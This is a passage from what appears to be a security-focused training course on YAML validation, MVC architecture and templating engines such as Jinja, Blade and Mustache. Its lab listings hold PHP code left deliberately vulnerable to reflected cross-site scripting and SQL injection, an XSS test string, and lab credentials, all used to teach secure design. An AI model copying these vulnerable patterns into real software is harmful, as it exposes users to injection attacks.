the safe_load() function. This function takes in a stream, parses
it, and outputs the data or an error message.
If there are errors, it will output them. In this case, because we are
not printing the output of the function, nothing will happen if our
YAML file is error-free.
kali@kali:~$ python3 validation.py
kali@kali:~$
Listing 36 - Running validation.py
As expected, our YAML file is free of errors so we don't have any
output.
Let's intentionally remove the colon in line 4, after the word
"monitors", and run the script again.
kali@kali:~$ python3 validation.py
Traceback (most recent call last):
File "/home/kali/Desktop/validation.py", line 4, in <module>
yaml.safe_load(f)
File "/usr/lib/python3/dist-packages/yaml/__init__.py", line 162, in safe_load
return load(stream, SafeLoader)
File "/usr/lib/python3/dist-packages/yaml/__init__.py", line 114, in load
return loader.get_single_data()
File "/usr/lib/python3/dist-packages/yaml/constructor.py", line 49, in get_single_data
node = self.get_single_node()
File "/usr/lib/python3/dist-packages/yaml/composer.py", line 36, in get_single_node
document = self.compose_document()
File "/usr/lib/python3/dist-packages/yaml/composer.py", line 55, in compose_document
node = self.compose_node(None, None)
File "/usr/lib/python3/dist-packages/yaml/composer.py", line 82, in compose_node
node = self.compose_sequence_node(anchor)
File "/usr/lib/python3/dist-packages/yaml/composer.py", line 110, in compose_sequence_node
while not self.check_event(SequenceEndEvent):
File "/usr/lib/python3/dist-packages/yaml/parser.py", line 98, in check_event
self.current_event = self.state()
File "/usr/lib/python3/dist-packages/yaml/parser.py", line 382, in parse_block_sequence_entry
if self.check_token(BlockEntryToken):
File "/usr/lib/python3/dist-packages/yaml/scanner.py", line 116, in check_token
self.fetch_more_tokens()
File "/usr/lib/python3/dist-packages/yaml/scanner.py", line 223, in fetch_more_tokens
return self.fetch_value()
File "/usr/lib/python3/dist-packages/yaml/scanner.py", line 577, in fetch_value
raise ScannerError(None, None,
yaml.scanner.ScannerError: mapping values are not allowed here
in "inventory.yaml", line 5, column 12
Listing 37 - Displaying error message
All we care about is the last portion of the error message. In this
case, we want to remove the unnecessary error messages.
Let's adjust our validation script a little bit to clean up our
output.
The Python script should resemble this:
kali@kali:~$ cat validation.py
#!/usr/bin/env python
import yaml
with open("inventory.yaml", "r") as f:
try:
print(yaml.safe_load(f))
except yaml.YAMLError as error:
print(error)
Listing 38 - Displaying contents of updated validation.py
We added a try and an except block of code. First, it tries to run
the safe_load() function and this time it prints out the data. In
any other case, it will print out the error.
Let's run the Python script again.
kali@kali:~$ python3 validation.py
mapping values are not allowed here
in "inventory.yaml", line 5, column 12
Listing 39 - Displaying updated error message
This time, we get a much cleaner error message. This way, we can
quickly focus on identifying what we need to fix. In this case, it
informs us that we created mapping values on line 5 that are not
allowed. This is because we are missing the colon on line 4. Let's go
ahead and re-add the colon and run the script again.
kali@kali:~$ python3 validation.py
{'monitors': [{'brand': 'Dell', 'size': {24: 2, 27: 1, 32: 1, 40: 0}}, {'brand': 'HP', 'size': {24: 1}}], 'keyboards': [{'brand': 'Logitech', 'type': {'wired': 2, 'wireless': 1}}], 'cables': [{'type': [{'USB_to_HDMI': [{'length': {'1m': 5, '2m': 5}}]}, {'DisplayPort_to_HDMI': [{'length': {'1m': 4, '2m': 2}}]}]}], 'printers': [{'serialNum123': ['HP', 'color', 'scanning']}], 'desktops': None}
Listing 40 - Printing YAML data
As expected, because our YAML file did not have any errors, the
contents are printed.
This validation can be conducted using different programming languages
and it can validate various serialization language formats. This is
just one example of how we can validate formats.
Next, we will analyze a more realistic example of how YAML is
used. The important note to remember here is that applications can
have additional specific constraints. For example, YAML general
specifications versus YAML used in Ansible[564-1] versus
YAML used in Kubernetes[571] are not the same. There are
similarities, but due to specific applications, general YAML may not
be valid when applied to an Ansible YAML specification.
The purpose of this section is not to become proficient with how to
use the specific application or configuration management tool, but
instead, learn how YAML can be used in a real world scenario.
Let's review an example of a YAML configuration file used in Ansible.
---
- hosts: "web servers"
name: "disable ssh"
tasks:
- lineinfile: "dest=/etc/ssh/sshd_config regexp =\"^PermitRootLogin\" line=\"PermitRootLogin no\" state=present"
name: "disable root ssh login"
notify:
- "restart sshd"
user: root
...
Listing 41 - Example YAML configuration file for Ansible
The specifics of what Ansible does with the above code is out of
scope, so our focus is more on showcasing YAML syntax. Let's validate
this YAML code using our script.
kali@kali:~$ python3 validation.py
[{'hosts': 'web servers', 'name': 'disable ssh', 'tasks': [{'lineinfile': 'dest=/etc/ssh/sshd_config regexp ="^PermitRootLogin" line="PermitRootLogin no" state=present', 'name': 'disable root ssh login', 'notify': ['restart sshd']}], 'user': 'root'}]
Listing 42 - Running Ansible YAML code through the validation.py script
Remember, this script only checks generic YAML syntax. Our
purpose is to outline the method of validating data serialization
code, such as JSON and YAML. For an application-specific
situation, like Ansible, we would need to run the file through an
Ansible-specific validator that not only checks for generic YAML
syntax, but also Ansible-specific YAML syntax. We can take this even
further and create our own schema that checks for user-created rules.
Understanding this is out of scope, but the takeaway is knowing that
there is a distinction between generic YAML and specific application
YAML.
Using YAML, we created an example configuration file that we can use
with Ansible. Ansible has specific keywords to use as the "key" value
in a key-value pair. Once we understand what each key's function
is, we can create the YAML file to work with Ansible. This same
idea can be applied to similar use cases or with other configuration
management tools. The major difference would be understanding
the application-specific rules and how they apply to the data
serialization language.
Introduction to Templating Engines
In this Topic, we will cover the following Learning Units:
- Templating Engines
- Template Components
- Logical vs Logicless templating engines
Each learner moves at their own pace, but this Topic should take
approximately 4.5 hours to complete.
Templating engines, such as Jinja, Jade or Mustache, have become
important tools for quickly setting up templates that allow us to
isolate presentation logic in a way that allows front-end developers
to be productive without requiring a deep understanding of the back-end.
When creating software products, scalability and maintainability are
very important factors. We are going to explore how templating engines
can generate templates[572] that can help us achieve those
goals and ensure our source code is more legible and front-end code is
not excessively mixed with business logic.
Next, we'll examine the functionality that templating engines provide,
and how this can fall outside the desired scope of the presentation
layer.
Finally, we will explore the differences between logical and logicless
templating engines.
Templating Engines
This Learning Unit covers the following Learning Objectives:
- Acknowledge MVC architecture and the need for templating engines
- Understand basic concepts of templating engines
- Understand various applications of templating engines
This Learning Unit will take approximately 2 hours to
complete.
In the earlier days of software development, it was common to create
applications without taking scalability and maintainability into
account. Mixing business, presentation, and data access logic used to
be common practice.
One proposed solution is called N-tier architecture.[573]
The goal of tiered applications is to define clear separations between
different groups of application concerns. This approach provides
improved code readability, as well as a better way to distribute
work among many developers, since each tier of an application can be
seen as an independent component that interacts with other tiers via
previously-defined interfaces.
One software development pattern that follows the n-tier paradigm is
called Model-View-Controller (MVC).[574] It was created
for Smalltalk by Trygve Reenskaug. The way MVC divides application
concerns is by separating three aspects: data access, business logic,
and presentation logic.
In our MVC example, Models interact directly with the database
engine or any other data source we are using for our application.
When interacting with databases, this layer is often created using
Object Relational Mapping (ORM)[575] frameworks to create a
mapping between database tables and objects that can be used on our
application.
Views handle the presentation of the data after it has been
processed. This is where templating engines reside. In the case of
web applications, the View layer ideally can be coded by front-end
developers who can focus on HTML, CSS, and JavaScript, only expecting
dynamic values from the controller.
Controllers orchestrate the interactions between the Models and
Views. They also handle the business logic in every aspect. Among
other things, Controllers are linked to URLs that they will handle.
Controllers also receive parameters, validate them, then ask the Model
to extract any information required from the database. The outputs
are then formatted as required so that they can be used by the View.
It is important to note that Views are decoupled from Controllers.
This means that under specific circumstances, a Controller could
use different Views and that a View can be used by more than one
Controller.
Some improvements have been made to MVC. Proposed architectures
Model-View-Presenter (MVP)[576] and Model-View-ViewModel
(MVVM)[577] apply specific changes to MVC to gain benefits. It
is important to note that the differences are somewhat subtle, so the
line that separates these paradigms from each other can be blurry.
In the case of MVP, the Controller is replaced by a Presenter that
aims to remove logic from Views by creating contracts (interfaces)
to interact with them. The main advantage of this approach is that we
gain testability because Views can be mocked during tests.
In MVVM, we take advantage of data-binding the View to the Model so
that changes to the data happening via the View can trigger events as
required.
To summarize, MVC is important because it allows us to define clear
boundaries in our code. It also improves maintainability, making it
easier for larger teams of developers to work on the same project
while minimizing risk of conflicting efforts. This also means
specialists can focus on their area of expertise seamlessly without
needing to learn about other components. Developers working on
business logic, for example, do not need to worry about the front-end.
Now that we have discussed the basic concepts of MVC, let's examine
two projects with similar functionality. They both provide Create,
Read, Update, and Delete (CRUD) interfaces for a table that we
need to manage.
The first project we'll analyze was generated using a tool called
phpscaffold.[578] It has not had updates in many years
and the code has many vulnerabilities.
The second project is based on Laravel[579] with a tool
called Backpack.[580] These projects are still supported
and adhere to the MVC pattern.
To follow along, let's start the VM in the Resources section at
the bottom of this page. We've created an entry in our /etc/hosts
file so that we can access the VM.
kali@kali:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
192.168.50.138 templates
...
Listing 1 - Editing our hosts file
Using this configuration, we'll be able to connect to the VM via the
browser and use a web-based IDE to read code.
Throughout this Topic, we can also access a browser-based version of
VSCode on the Templates VM by port forwarding through an SSH
tunnel. We'll use ssh, set -N to not execute a remote command,
and enable port forwarding with -L, followed by our local port
(8080), the IP address, and port on the remote host. If this is our
first time connecting to the host with SSH, we will be prompted to
continue connecting after reviewing the host's key fingerprint.
kali@kali:~$ ssh -N -L 0.0.0.0:8080:127.0.0.1:8080 student@templates
The authenticity of host 'templates (192.168.50.138)' can't be established.
ED25519 key fingerprint is SHA256:pA6AusEU0+Eh9C+NR4pnQgWPcELUtuCmXfynHiuSZkk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'templates' (ED25519) to the list of known hosts.
student@templates's password:
Listing 2 - Forwarding port 8080 through an SSH tunnel
Now that we have created our tunnel, we can access VSCode on port 8080
of our localhost.
Now we can open any of the files or directories that we will discuss.
If prompted to trust the authors of the files in VSCode, we can
click Yes, I trust the authors.
Let's navigate to http://templates:8088. We are automatically
redirected to a login page. Let's analyze the code of that page
because, although this code is relatively short, it reveals some
problems that MVC usually helps us avoid.
File: /home/student/mvc/bad_practices/project/inc.auth.php
01: <?php
02: include 'inc.functions.php';
03: $msg = (isset($_GET['msg']) ? $_GET['msg'] : '');
04:
05: if (isset($_POST['user']) && isset($_POST['pass'])) {
06: if (isset($login[$_POST['user']]) && ($login[$_POST['user']] == $_POST['pass'])) {
07: $_SESSION['user_logged_in'] = true;
08: header('Location: index.php?msg=Logged in.');
09: exit;
10: } else {
11: unset($_SESSION['user_logged_in']);
12: $msg = 'Sorry, wrong user id or password.';
13: }
14: }
15:
16: print_header('Login');
17:
18: if (isset($_GET['action']) && $_GET['action'] == 'logout') {
19: unset($_SESSION['user_logged_in']);
20: session_destroy();
21: }
22:
23:if (strlen($msg) > 0) echo "<p id=\"msg\">$msg</p>";
24:
25: if (!isset($_SESSION['user_logged_in']) || $_SESSION['user_logged_in'] !== true) {
26: ?>
27: <form action="<?= $_SERVER['REQUEST_URI'] ?>" method="post">
28: <p>You need to log in to edit this database.</p>
29: <ul>
30: <li><label>User: <input type="text" name="user" /></label></li>
31: <li><label>Pass: <input type="password" name="pass" /></label></li>
32: </ul>
33: <p><input type="submit" value="Login" /></p>
34: </form>
35: <?
36: } else {
37: echo '<p><a href="index.php">Go to Listing</a></p>';
38: }
39:
40: print_footer();
41: ?>
Listing 3 - Authentication code
Although the code is functional, it is covering different concerns
within a single file, which makes it more difficult to read. Let's
explore the highlighted lines to get a better understanding of the
issues with this approach.
Line 5 contains authentication code. It verifies if some variables are
declared and proceeds accordingly.
Line 16 has presentation code. It imports and prints portions of a
template using a function.
Line 23 contains a vulnerability, presenting a user-controlled value
without sanitization. The variable it prints was obtained in
line 3.
Line 27 continues with presentation code.
This code might seem obvious to its creator. However, if we ever needed
to edit the color of a label or any other design-related task, it is
not practical to have to navigate through business logic to do so.
This code also makes it difficult for a developer who is only familiar
with HTML and CSS to edit it without the risk of breaking server-side
code.
Now that we've introduced the problems that code without MVC faces,
let's investigate code related to CRUD operations. To authenticate,
we can use the credentials admin:pass and arrive at the following
page:
Next, we can click the link to Edit the
only available record, which will take us to
http://templates:8088/project/users_test/crud.php?id=1. Let's
analyze the code and explore the issues. Although not every issue
can be directly fixed using the MVC pattern, this code is a good
opportunity to explore them.
File: /home/student/mvc/bad_practices/project/users_test/crud.php
04: if (isset($_GET['delete'])) {
05: mysql_query("DELETE FROM `users_test` WHERE `id` = '$_GET[id]}'");
06: $msg = (mysql_affected_rows() ? 'Row deleted.' : 'Nothing deleted.');
07: header('Location: index.php?msg='.$msg);
08: }
...
24: $row = mysql_fetch_array ( mysql_query("SELECT * FROM `users_test` WHERE `id` = '$id' "));
...
26: <form action="<?= $_SERVER['REQUEST_URI'] ?>" method="post">
Listing 4 - CRUD code
The first issue we find on line 4 is that the code is performing
a destructive operation using GET. This is dangerous because
GET requests can be cached, which is why they are meant to be
idempotent.[581] A GET request should not execute a
transaction of any kind. In this case, the HTTP DELETE method would
have been more appropriate.
On lines 5 and 24, we'll notice SQL injection[582]
opportunities. In both cases, there is no sanitization of
user-controlled input before using those values in queries. Also,
the suite of functions starting with mysql[583] were
deprecated a long time ago. It is now recommended to use the functions
that start with mysqli.[584] Finally, on line 26,
presentation code starts.
Adopting MVC will not automatically fix the issues we just found.
However, we should also consider that in modern implementations of
MVC architecture, it is not common to implement the separation of
concerns[585] manually. Today, the more common approach
is to use a framework.
Web frameworks provide modular components that we can use to implement
MVC without much coding. Usually, frameworks provide base components
such as a configuration manager, a router, an ORM engine, a controller
class, and a templating engine.
The errors we explored in Listings 3 and
4 can be mapped to some benefits of MVC. For instance,
instead of checking for authentication in the same file where there
is also HTML, the router component of frameworks can contain rules
to automatically redirect to a login page if there is not a valid
session. Another vulnerability we found was related to injection
points, which are mitigated by components such as an ORM.
We are not going to explore frameworks in detail. We are going to
focus on the way the View can be coded in a way that is loosely
coupled to the business logic and is completely separated from
database-related code (the Model).
Let's review another example application that uses a framework. We
can navigate to http://templates:8085 and use the credentials
__test@admin.local:studentlab__.
Now that we are authenticated, let's click on
Users, then the Preview button, which takes us to
http://templates:8085/admin/user/1/show. Let's explore the
server-side code that renders this section.
We have to keep in mind that although the file we are going to
analyze has a ".php" extension, it does not contain PHP. It contains
Blade[586] code, which is a templating engine included in
Laravel that allows us to write HTML code and also include server-side
logic. We'll cover templating engines more in-depth in the next
section. For now, let's focus on the fact that some parts of the code
will be eventually replaced with the values we need to display.
File: /home/student/mvc/good_practices/crud-app/resources/views/vendor/backpack/crud/show.blade.php
51: <div class="card no-padding no-border">
52: <table class="table table-striped mb-0">
53: <tbody>
54: @foreach ($crud->columns() as $column)
55: <tr>
56: <td>
57: <strong>{!! $column['label'] !!}:</strong>
58: </td>
59: <td>
60: @php
61: // create a list of paths to column blade views
62: // including the configured view_namespaces
63: $columnPaths = array_map(function($item) use ($column) {
64: return $item.'.'.$column['type'];
65: }, \Backpack\CRUD\ViewNamespaces::getFor('columns'));
66:
67: // but always fall back to the stock 'text' column
68: // if a view doesn't exist
69: if (!in_array('crud::columns.text', $columnPaths)) {
70: $columnPaths[] = 'crud::columns.text';
71: }
72: @endphp
73: @includeFirst($columnPaths)
74: </td>
75: </tr>
76: @endforeach
77: @if ($crud->buttons()->where('stack', 'line')->count())
78: <tr>
79: <td><strong>{{ trans('backpack::crud.actions') }}</strong></td>
80: <td>
81: @include('crud::inc.button_stack', ['stack' => 'line'])
82: </td>
83: </tr>
84: @endif
85: </tbody>
86: </table>
Listing 5 - Blade template
To understand what happens at runtime, let's open our browser and
navigate to view-source:http://templates:8085/admin/user/1/show.
Most current browsers, including Chrome and Firefox, allow us to
prepend the words "view-source:" to not render the HTML, but instead
display the code that the server returns.
Lines 132 to 136 of the code rendered on the browser are the runtime
equivalent of lines 53 to 58 in Listing 5. The main
variation is that line 57 of our Blade template is replaced with the
label of the column. Another detail worth highlighting is that the
Blade template contains a loop, which means that the number of times
that the snippet will run will depend on the number of columns that
the table has.
This loop is the reason why the rendered HTML has Name and Email as
labels, even though those values are not explicitly printed in the
Blade template. It was line 57 of 5 that was
replaced by those labels. In the case of Blade, the tags {!! !!}
are used to replace the content between them with a value received
from the Controller.
Finally, from lines 60 to 72 of Listing 5, we'll
encounter PHP code, but all of it is related to the View. There are
no database-related lines. When we use a templating engine, we assume
that the Controller will provide the variables we need to display.
Templating engines are software components that allow us to generate
templates for base models of an output. This allows us to modify
certain elements of the template at runtime to create a report or a
string that can be used somewhere else.
Besides websites, another example of the usage of templates is the way
Marketing e-mails are handled. To make them feel more personalized,
it is normal to include a greeting that has the name of the recipient,
and sometimes other user-specific fields.
Hello ||NAME||
This is an example of a marketing email that is very long.
||PROMO_LINK||
Regards
Brand
Listing 6 - Email template example
The example above only includes placeholders for specific variables
that are replaced with unique content before sending an email.
This syntax is common in Marketing Automation platforms such as
Mailchimp.[587]
Let's explore how the template becomes a rendered email. Typically,
a Python file replaces the placeholders with the values before we are
ready to send the email.
File: /home/student/email/email_template.py
01: if __name__ == "__main__":
02: template = """Hello ||NAME||
03:
04: This is an example of a marketing email that is very long.
05:
06: ||PROMO_LINK||
07:
08: Regards
09: Brand"""
10: user = {"name": "John Doe", "link": "https://www.example.com?utm_source=email&user_reference=8234a3efb"}
11: rendered_tamplate = template.replace("||NAME||", user["name"]).replace("||PROMO_LINK||",user["link"])
12: print(rendered_tamplate)
Listing 7 - Rendering an E-mail template
Note that we are not using a templating engine here. On line 11, we
are replacing the placeholder values with the content we want to send.
This is essentially a simplification of how templating engines work.
Let's render the email and inspect the results.
❯ ssh student@templates
student@templates's password:
Welcome to Ubuntu 22.04 LTS (GNU/Linux 5.15.0-47-generic x86_64)
...
student@templates:~/email$ python3 /home/student/email/email_template.py
Hello John Doe
This is an example of a marketing email that is very long.
https://www.example.com?utm_source=email&user_reference=8234a3efb
Regards
Brand
Listing 8 - Output of rendered email
After rendering the email, the tags are no longer part of the
content. That is the main goal: converting our base template into a
personalized document.
Another use case of templating engines is embedding them in
yaml[588] files to dynamically obtain a value after some logic
is executed.
In the following example, we'll use a template in the context of an
automation tool.
We can access the VM using the /etc/hosts entry we created in the
previous section.
Let's analyze an Ansible[589] playbook that creates a
file, but needs to name it differently depending on the time of the
day.
Before we continue, let's clarify the difference between declarative
and imperative programming. When we use declarative programming,
we define the expected results, but we don't need to be specific
about how to get these results. In contrast, imperative programming
requires us to provide step-by-step instructions for the algorithm we
are implementing.
When we use Ansible, we usually aim to take a declarative approach and
set up our infrastructure by defining what we expect from each task,
while not exactly elaborating about how each step needs to occur.
Let's explore what the playbook does.
File: /home/student/ansible/playbook.yml
01: - name: a play that runs entirely on the ansible host
02: hosts: 127.0.0.1
03: connection: local
04: tasks:
05: - name: Touch a file setting a different name depending on the time of the day
06: ansible.builtin.file:
07: path: >-
08: {%- set current_time='%H_%M_%S' | strftime -%}
09: {%- set hour='%H' | strftime | int -%}
10: {%- set time_of_day='' -%}
11: {%- if hour >= 0 and hour < 12 -%}
12: {%- set time_of_day='morning' -%}
13: {%- elif hour >= 12 and hour < 18 -%}
14: {%- set time_of_day='afternoon' -%}
15: {%- elif hour >= 18 and hour <= 23 -%}
16: {%- set time_of_day='evening' -%}
17: {%- endif -%}
18: {{ ("~/" ~ time_of_day | string ~ "_" ~ current_time) | trim }}
19: state: touch
20: mode: u=rw,g=r,o=r
21:
Listing 9 - Jinja template inside an Ansible Playbook
The first three lines of the file establish that the playbook will
be run locally. Next, an array of tasks is defined. Ansible provides
a catalog of tasks that can execute predefined actions depending on
parameters that can be configured. For our example, we'll only cover
one task.
The type of the task we are using is ansible.builtin.file, which can
modify the attributes of files and directories. We'll create or update
the "modified date" of a file depending on the time of the day when
the playbook is executed by using the state parameter with the value
"touch". This is the equivalent of running the touch[590]
command on a Unix system.
The template is used from lines 7 to 17. The logic consists of getting
the current time of day and using it as a reference to define a
value. That value is later concatenated and used as the output of the
template.
By including a Jinja[591] template to the path parameter,
we effectively added an imperative component to our Ansible playbook,
which allows us to define a series of steps to get to the value that
the path parameter will use during runtime. When the template is
evaluated, we'll end up with a value like ~/afternoon_16_15_00.
For now, let's not worry too much about the syntax of the template.
We'll cover that in the next Learning Unit.
Next, let's run the date command to establish what we expect to
receive when we run the Ansible playbook. We'll then run the playbook
with ansible-playbook and inspect the results.
student@templates:~/ansible$ date
Fri Oct 7 03:27:43 UTC 2022
student@templates:~/ansible$ ansible-playbook /home/student/ansible/playbook.yml
[WARNING]: No inventory was parsed, only implicit localhost is available
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match
'all'
PLAY [a play that runs entirely on the ansible host] *******************************************************************
TASK [Gathering Facts] *************************************************************************************************
ok: [127.0.0.1]
TASK [Touch a file setting a different name depending on the time of the day] *********************************************
changed: [127.0.0.1]
PLAY RECAP *************************************************************************************************************
127.0.0.1 : ok=2 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
student@templates:~/ansible$ ls /home/student
ansible email features injection jinja_exercises morning_03_27_50 mvc node_exercise
Listing 10 - Playbook execution
In this example, the time of execution is in the interval that will
return the value morning. We could verify that the created file has
the correct name according to the time when the playbook was executed.
With the increased popularity of Single Page Applications
(SPA),[592] templates have also gained prominence in front-end
frameworks such as Vue,[593] Angular,[594] and
React.[595] When used in this context, templates can become
more complex, including databinding and more elaborate use cases like
components.[596]
Having explored a few examples of templating engines, we'll notice
that the syntax of templating engines varies, and not every templating
engine is available in every programming language. For instance, Twig
and Smarty are available for PHP, EJS is used in Javascript, Jinja2 is
used in Python, and Mustache has implementations in many programming
languages.
Template Components
This Learning Unit covers the following Learning Objectives:
- Explore expressions in templating engines
- Understand how to use conditionals and loops in templating engines
- Explore transformations applied to template variables
This Learning Unit will take approximately 2 hours to complete.
Having covered where templating engines are used, let's explore
what they can do. The capabilities of templating engines vary and
not every engine offers every functionality. However, the most
feature-rich ones offer expressions, statements, and filters.
Just as in programming languages, expressions are units of code
that are evaluated to obtain a result. Although it might seem
counter-intuitive, a void value can also be a result. Types of
expressions include literal values (regardless of their type),
mathematical expressions, conditional/logic operations, and function
calls.
Let's start the VM in the Resources section at the bottom of this
page. We've created an entry in our /etc/hosts file so that we can
access the VM.
The example we're about to explore defines a template using a
multi-line string delimited by three double quotes. Our template
includes three expressions:
File: /home/student/features/expressions.py
01: import jinja2
02: from jinja2 import Environment
03:
04: if __name__ == "__main__":
05: name = "John Doe"
06: fruits = ["apple","orange","banana"]
07: template="""Hi
08: Hello {{name}}
09: {{7*7}}
10: {{fruits.__len__()}}
11: """
12: environment = jinja2.Environment()
13: tpl = environment.from_string(template)
14: print(tpl.render(name=name, fruits=fruits))
Listing 11 - Examples of some expressions in Jinja
On line 8, we'll find an evaluation of a previously-defined Python
variable called name.
Line 9 has an arithmetic expression that displays the result of
multiplying two integer values.
Line 10 uses an array that was sent to the template and calls a
method. Jinja allows us to use the methods and properties of the
objects we receive. In this case, because the variable we received was
an array, we were able to call the method that returns its length.
Let's execute the script and verify the output:
student@templates:~/features$ python3 expressions.py
Hi
Hello John Doe
49
3
Listing 12 - Execution of expressions.py
Excellent! It worked as expected. Let's pause and consider
an important detail. In the case of Line 10 of Listing
11, being able to show the length of an array is
a benign functionality. But that is not always the case, and we need
to be careful when we send objects to a template because calls to
unforeseen methods or properties could lead to dangerous consequences
such as remote code execution or data leakage.
When creating templates, it is common to need functionality such as
iteration and validations, which is why we can also use conditionals
and loops as part of our templates.
Let's check the syntax of loops and conditionals using FizzBuzz. The
idea of this algorithm is to check a number. If it's divisible by 3
and 5, we have to print "FizzBuzz". If it's divisible by 3, we print
"Fizz". If it's divisible by 5, we print "Buzz"; otherwise, we print the
number.
File: /home/student/features/fizzbuzz.py
01: import jinja2
02: from jinja2 import Environment
03:
04: if __name__ == "__main__":
05: template="""This template will output the FizzBuzz values from 1 to 20
06: {% for i in range(1,21) %}
07: {% if i%3 == 0 and i%5==0 %}
08: FizzBuzz
09: {% elif i%3 == 0 %}
10: Fizz
11: {% elif i%5 == 0 %}
12: Buzz
13: {% else %}
14: {{i}}
15: {% endif %}
16: {% endfor %}
17: """
18: environment = jinja2.Environment()
19: tpl = environment.from_string(template)
20: print(tpl.render())
Listing 13 - Execution of fizzbuzz.py
The syntax of conditionals and loops in Jinja is very similar to
Python's, but in Jinja, we don't need to have precise indentation.
This is why we need to start and end each conditional block and each
loop with their corresponding close tag, for instance: {% if %} {%
endif %}.
It is also worth noting that the tags differ from the tags that we
use to print variables. For printing, we use {{}}, but for these
special tags, we use {% tag %} {% endtag %}.
Reusability is also a very useful feature of templating engines.
The idea is to create a base template file with defined blocks. We
can then override any of those blocks while maintaining the overall
structure of the layout we are creating.
The following pseudocode shows how we could achieve a standardized
layout without using templates:
include "header.html"
<body>
Content of our site
</body>
include "footer.html"
Listing 14 - Standardized layout without templates
With templates, we can improve readability using blocks. When we
use templates that extend others, the controller does not need to be
informed that this is happening. Let's check an example:
File: /home/student/features/template_blocks.py
01: import jinja2
02: from jinja2 import Environment
03:
04: if __name__ == "__main__":
05: templateLoader = jinja2.FileSystemLoader(searchpath="./html")
06: templateEnv = jinja2.Environment(loader=templateLoader)
07: template_to_render = "template.html"
08: tpl = templateEnv.get_template(template_to_render)
09: outputText = tpl.render()
10: print(outputText)
Listing 15 - Loading a template that uses a base file
On line 5, we declared a directory where Jinja will search for
templates, and on line 7, we are declaring which template we are going
to render. Let's explore the file that template.html extends.
File: /home/student/features/html/base.html
01: <div>Header</div>
02: {% block content %}
03: <p> Original content</p>
04: {% endblock %}
05: <div>Footer</div>
Listing 16 - Jinja base template
When we want to extend a template, the parent template defines the
segments of the layout that can be replaced via blocks, as well
as other sections that are always present. Lines 1 and 5 are always
present when another template extends base.html. However, lines 2
to 4 of Listing 16 can be overridden.
Let's analyze how we defined template.html so that it extends
base.html.
File: /home/student/features/html/template.html
01: {% extends "./base.html" %}
02: {% block content %}
03: <h1>Overridden content</h1>
04: {% endblock %}
Listing 17 - Jinja template extension
On line 1, the first instruction declares that we are extending
base.html. If that were the only line of our file, we would render
an exact copy of base.html; however, we instead need to modify the
block called content. To do that, we add the tag {% block %} with
its name. In this example, the name of this block is content, and
everything inside that block replaces whatever that content had been
in its original implementation.
Let's execute template_blocks.py and examine the results:
student@templates:~/features$ python3 template_blocks.py
<div>Header</div>
<h1>Overridden content</h1>
<div>Footer</div>
Listing 18 - Execution of template_blocks.py
The output of the execution is very similar to the original content
of_ base.html__, except the initial line "Original content"
was replaced with the reimplementation of the block _content, which
is why it now contains "Overridden". The divs of the header
and footer remain unchanged because they were not part of a block that
could be overridden.
There are other interesting tags that templating engines provide.
Macros,[597] for example, provide a way to create a
pseudo-function that allows us to print blocks of content modified by
dynamic parameters.
Filters[598] are transformations that we can apply
to the variables we want to display. Many are common string functions
such as replace, upper, and lower, and numeric transformations
(like conversions to integer or float, or getting the absolute value
of a number).
However, some filters have functionality related to encoding and
how we want to treat our data before presenting it. Let's analyze an
example.
File: /home/student/features/filters.py
01: import jinja2
02: from jinja2 import Environment
03: from utilitybelt import change_charset
04:
05: def convert_to_l337(text):
06: origspace = "abcdefghijklmnopqrstuvwxyz "
07: keyspace = "4bcd3fghijk1mn0pqr57uvwxyz_"
08: return change_charset(text,origspace, keyspace)
09:
10: if __name__ == "__main__":
11: name="john doe"
12: html_code="<script>alert('xss');</script>"
13: template="""
14: Hello {{name|upper}}
15: {{html_code}}
16: {{html_code|safe}}
17: {{html_code|escape}}
18: {{"i am leet"|leet}}
19: """
20: environment = jinja2.Environment()
21: environment.filters['leet'] = convert_to_l337
22: tpl = environment.from_string(template)
23: print(tpl.render(name=name,html_code=html_code))
Listing 19 - Jinja filters
Line 14 contains a filter that will convert the text to uppercase.
Lines 15 and 16 behave the same while printing HTML. The safe filter
instructs the engine that our string is safe to avoid encoding or
escaping it. The fact that both lines provide the same output means
that the default behavior of our current configuration of Jinja is to
treat every string as safe.
Line 17 prints the same variable as lines 15 and 16; however, the
escape filter encodes the value so that it is safe to print without
the risk of a cross-site scripting attack.
Line 18 presents a custom filter that was defined as a function on
line 5, then configured on line 21. This filter converts a string to
leetspeak.[599]
Although templating engines and frameworks in general try to abstract
some of the tedious tasks like output sanitization, we still need to
ensure that sanitization is taking place. As we determined in Listing
19, sometimes the default behavior is not secure.
Logical vs Logicless
This Learning Unit covers the following Learning Objectives:
- Understand the difference between logical and logicless templates
- Acknowledge the dangers of some usages of templating engines
This Learning Unit will take approximately 30 minutes to
complete.
It is normal for websites or applications to require specific UI
changes to occur depending on what the user is doing. However,
depending on where we decide to implement the validations that trigger
those UI changes, we will need to either use a logicless or a logical
templating engine.
To better understand this concept, let's establish a baseline
regarding what a logicless templating engine can and cannot do.
Mustache is one example of a logicless engine. In their
documentation,[600] they state that Mustache does not
support if statements or loops. To fulfill those needs, they define
specific tags that behave in a way similar to those statements and
clauses. Logicless engines don't support complex expressions either;
for instance, it is not possible to perform arithmetic calculations
using Mustache natively.
Logicless templates focus more on displaying content than what happens
to prepare the data before printing it. That is why Mustache does not
have a native library of filters. However, in some implementations
of Mustache, there is a functionality called lambdas that can allow
custom code that might resemble filters. Essentially, the more we can
execute processes unrelated to presentation, the more the templating
engine stops being logicless.
Let's explore an example by contrasting an engine that is logical,
in this case Jinja, with logicless Mustache. We'll compare them using
the same FizzBuzz snippet we used in a previous section.
The first snippet corresponds to a Jinja template; every validation is
made there. If the rules of FizzBuzz ever change, the template will
need to be adjusted.
01: {% if i%3 == 0 and i%5==0 %}
02: FizzBuzz
03: {% elif i%3 == 0 %}
04: Fizz
05: {% elif i%5 == 0 %}
06: Buzz
07: {% else %}
08: {{i}}
09: {% endif %}
Listing 20 - FizzBuzz implemented with Jinja
We have two ways to achieve the same results using Mustache. The
first would be creating three flags and, depending on the result
of each flag, we can print the value accordingly. Mustache does
not have an "if" clause, and instead uses variables as either
truthy[601] or falsy[602] indicators.
01: {{#fizzbuzz}}
02: FizzBuzz
03: {{/fizzbuzz}}
04: {{#fizz}}
05: Fizz
06: {{/fizz}}
07: {{#buzz}}
08: Buzz
09: {{/buzz}}
